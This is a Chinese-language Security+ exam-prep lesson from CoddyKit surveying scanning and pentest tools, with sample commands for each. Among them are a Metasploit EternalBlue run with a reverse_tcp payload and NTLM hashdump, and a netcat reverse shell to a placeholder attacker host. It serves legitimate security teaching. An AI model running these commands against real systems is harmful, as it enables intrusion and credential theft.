常见扫描工具:Nessus、OpenVAS、Nmap
通过实践熟悉用于主机发现、端口扫描和漏洞识别的行业标准工具。
常见扫描工具:Nessus、OpenVAS、Nmap 是 CoddyKit 上的免费 Cloud & IT Cert Prep 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cloud & IT Cert Prep 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cloud & IT Cert Prep 课程共包含 4 节课。
扫描工具生态系统
安全专业人员会根据不同目的使用各种扫描工具,包括主机发现、端口扫描、服务枚举、操作系统检测、漏洞识别和 Web 应用测试。Security+ 要求您熟悉各类别中最广泛使用的工具。了解每种工具能做什么,以及不能做什么,有助于您为特定任务选择合适的工具并正确解读结果。多个互补工具的结果能够提供比任何单一工具更完整的覆盖范围。
Nmap:网络映射器
Nmap(网络映射器)是使用最广泛的开源网络发现和安全审计工具。它可以发现活动主机、枚举开放端口、检测正在运行的服务及其版本,并识别操作系统。Nmap 使用多种扫描技术,包括SYN 扫描(默认方式,速度快且相对隐蔽)、TCP Connect(完整握手,噪声更大但不需要 root 权限)、UDP 扫描和版本扫描。它随附 Nmap 脚本引擎(NSE),提供数百个用于漏洞检测、暴力破解和漏洞利用的脚本。
# Common Nmap scan types:
nmap -sS 192.168.1.0/24 # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10 # TCP connect scan
nmap -sU -p 53,67,161 target # UDP scan specific ports
nmap -sV 192.168.1.10 # version detection
nmap -O 192.168.1.10 # OS detection
nmap -A 192.168.1.10 # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10 # scan all 65535 ports
nmap --script vuln 192.168.1.10 # run vulnerability scriptsNmap 输出与解读
正确解读 Nmap 输出是一项必备技能。每一行代表一个端口,并显示其状态(开放:服务正在监听;关闭:主机已响应,但没有服务在监听;被过滤:没有响应或 ICMP 不可达,通常表示受到防火墙阻挡)、协议以及检测到的服务和版本。开放端口代表潜在的攻击面。主机上意外开放的端口可能表明系统已被入侵,或存在未经授权的服务。-oN、-oX和-oG标志分别以普通、XML 和可供 grep 处理的格式保存输出——保存输出对于文档记录以及比较不同时期的扫描结果至关重要。
# Sample Nmap output:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu
# 80/tcp open http Apache 2.4.41
# 443/tcp open ssl/http Apache 2.4.41
# 8080/tcp open http Jetty 9.4.39
# 3306/tcp open mysql MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)
# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xmlNessus:企业级漏洞扫描器
Nessus(由 Tenable 开发)是部署最广泛的商业漏洞扫描器。它采用插件架构,拥有 100,000 多个插件,覆盖 CVE、配置检查、合规性基准(CIS、DISA STIG)和恶意软件检测。Nessus 通过使用提供的凭据登录系统来执行使用凭据的扫描,检查已安装软件的版本、注册表项和配置文件;与未使用凭据的网络探测相比,这样可以生成准确得多的结果。Nessus 会生成包含 CVSS 分数、漏洞描述和修复建议的详细报告。免费的 Nessus Essentials 版本最多可扫描 16 个 IP。
# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)
# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High (CVSS 7.0-8.9): privilege escalation, severe data exposure
# Medium (CVSS 4.0-6.9): local privilege escalation, information disclosure
# Low (CVSS 0.1-3.9): minimal impact, hardening issues
# Info: configuration data, no immediate riskOpenVAS:开源漏洞扫描
OpenVAS(开放漏洞评估系统)是由 Greenbone Networks 维护的免费开源漏洞扫描器。它是原始 Nessus 商业化之前的社区支持分支。OpenVAS 使用NVT(网络漏洞测试),其作用类似于 Nessus 插件。Greenbone Community Edition(GCE)提供基于 Web 的管理界面(Greenbone Security Assistant)。在许可成本阻碍使用商业工具的环境中,OpenVAS 很受欢迎。它的功能集比 Nmap 更广,同时保持免费,因此成为小型组织、学术环境和安全实验室的常见选择。
# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup # initial setup (takes time to download feeds)
gvm-start # start OpenVAS services
# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report
# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."Nikto:Web 服务器漏洞扫描器
Nikto是一个开源 Web 服务器扫描器,用于检查危险文件、过时的软件版本、服务器配置问题和常见 Web 漏洞。它会针对 6,700 多个已知问题进行测试,包括不安全的 HTTP 方法、缺失的安全标头、暴露的管理界面、默认凭据和常见 CGI 漏洞。Nikto 产生的噪声很大,并非为隐蔽性而设计——它会在目标上生成大量日志。它可以补充网络层扫描器,提供 Nessus 和 OpenVAS 可能无法深入覆盖的 Web 专项检查。请始终只在获得授权的系统上使用 Nikto 进行测试。
# Nikto web scan examples:
nikto -h 192.168.1.10 # basic scan
nikto -h https://192.168.1.10 # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443 # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html # save report
# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)Metasploit Framework
Metasploit Framework是使用最广泛的渗透测试平台,提供漏洞利用程序、有效载荷、辅助模块和漏洞利用后的工具。即使从未使用过 Metasploit,Security+ 考生也应了解它是什么,以及它如何融入渗透测试。Metasploit 模块包括:漏洞利用程序(利用漏洞的代码)、有效载荷(成功利用漏洞后运行的 shellcode,例如 Meterpreter)、辅助模块(在不利用漏洞的情况下执行扫描、模糊测试和枚举)以及后置模块(在初始访问后用于权限提升、凭据转储和横向移动)。
# Metasploit Framework basic workflow:
msfconsole # start Metasploit
search eternalblue # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info # show exploit details
set RHOSTS 192.168.1.10 # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5 # attacker IP
run # execute exploit
# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump # dump NTLM hashesNetcat:瑞士军刀
Netcat(nc)是一种简单但用途广泛的工具,可使用 TCP 或 UDP 通过网络连接读取和写入数据。它在安全工作中有无数用途:从已被攻陷的主机建立反向 shell、跨网络网段传输文件、进行端口扫描、创建用于测试的简单网络监听器,以及抓取服务标识信息来识别服务版本。它简单易用,并且几乎所有 Linux 系统都提供,因此既经常用于合法的系统管理,也常见于攻击者工具包中。从检测角度来看,理解这一工具同样非常重要。
# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22 # grab SSH banner
nc -v 192.168.1.10 80 # grab HTTP banner
# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded
# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash
# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender: nc receiver_ip 9999 < file.txtRecon-ng 和 OSINT 工具
Recon-ng 是一个专为收集 OSINT(开放源代码情报)而设计的 Web 侦察框架。它使用模块查询公开来源——Shodan、Bing、HaveIBeenPwned、DNS 记录、LinkedIn、WHOIS 以及证书透明度日志——在任何主动扫描开始前收集有关 Target 的信息。渗透测试的侦察阶段通常从 OSINT 开始,以了解 Target 的网络拓扑、员工姓名、电子邮件格式、所使用的技术以及公开暴露的资产。高质量的 OSINT 可以揭示攻击路径,而仅靠主动扫描可能需要更长时间才能找到这些路径。
# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com
# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com
# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'
# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin
# 5. Certificate transparency:
crt.sh/?q=%.example.com (reveals subdomains via certs)使用 Enum4linux 进行网络枚举
Enum4linux 使用空会话和 MSRPC,从 Windows 主机和 Samba(Linux SMB)服务器枚举信息。它可以提取用户名、组成员关系、共享、密码策略和工作组信息。在内部渗透测试中,enum4linux 可以快速揭示可用于密码喷洒的用户账户以及环境中的共享结构。现代 Windows 版本默认会限制空会话访问,但配置不当的环境通常会暴露大量信息。Impacket 的 samrdump.py 和 CrackMapExec 也提供了类似的、经过身份验证的枚举功能。
# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10 # all enumeration
enum4linux -U 192.168.1.10 # users only
enum4linux -S 192.168.1.10 # shares only
# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares
# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10选择适合任务的工具
安全专业人员会根据任务选择工具。用于主机发现和端口扫描:Nmap。用于大规模漏洞识别:Nessus(商业版)或 OpenVAS(免费)。用于Web 服务器漏洞:Nikto。用于Web 应用攻击:Burp Suite。用于漏洞利用:Metasploit。用于OSINT 侦察:Recon-ng、theHarvester、Shodan。用于网络流量分析:Wireshark、tcpdump。用于无线攻击:Aircrack-ng 套件。Security+ 考试会测试您对这些工具的概念性知识——即使您没有亲自操作过每一个工具,也应了解各自的用途。
快速检查
测试您对本课 CompTIA Security+(SY0-701)相关概念的理解。
课程回顾
在本课中,您学习了:Nmap 是主机发现、端口扫描和版本检测的基础,并通过功能丰富的脚本引擎提供额外能力;Nessus 和 OpenVAS 针对已知 CVEs 执行全面的漏洞扫描,使用凭据访问时准确性最高;Metasploit 提供漏洞利用框架,帮助渗透测试人员确认漏洞确实可以被利用,并展示真实的攻击影响。接下来,我们将探索从侦察到报告的完整渗透测试生命周期。
常见问题解答
「常见扫描工具:Nessus、OpenVAS、Nmap」课时是免费的吗?
是的 — 「常见扫描工具:Nessus、OpenVAS、Nmap」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cloud & IT Cert Prep 课程的其余内容,请升级到 CoddyKit PRO。 Cloud & IT Cert Prep 课程共包含 4 节课。
「常见扫描工具:Nessus、OpenVAS、Nmap」这节课中我会学到什么?
通过实践熟悉用于主机发现、端口扫描和漏洞识别的行业标准工具。 你通过在浏览器中直接运行的动手代码来练习 Cloud & IT Cert Prep,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cloud & IT Cert Prep 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Cloud & IT Cert Prep 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。
「常见扫描工具:Nessus、OpenVAS、Nmap」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Cloud & IT Cert Prep 课中编写并运行代码吗?
能。每节 Cloud & IT Cert Prep 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- 漏洞扫描与渗透测试
- 常见扫描工具:Nessus、OpenVAS、Nmap
- 渗透测试阶段:从侦察到报告
- CVSS 评分与漏洞优先级排序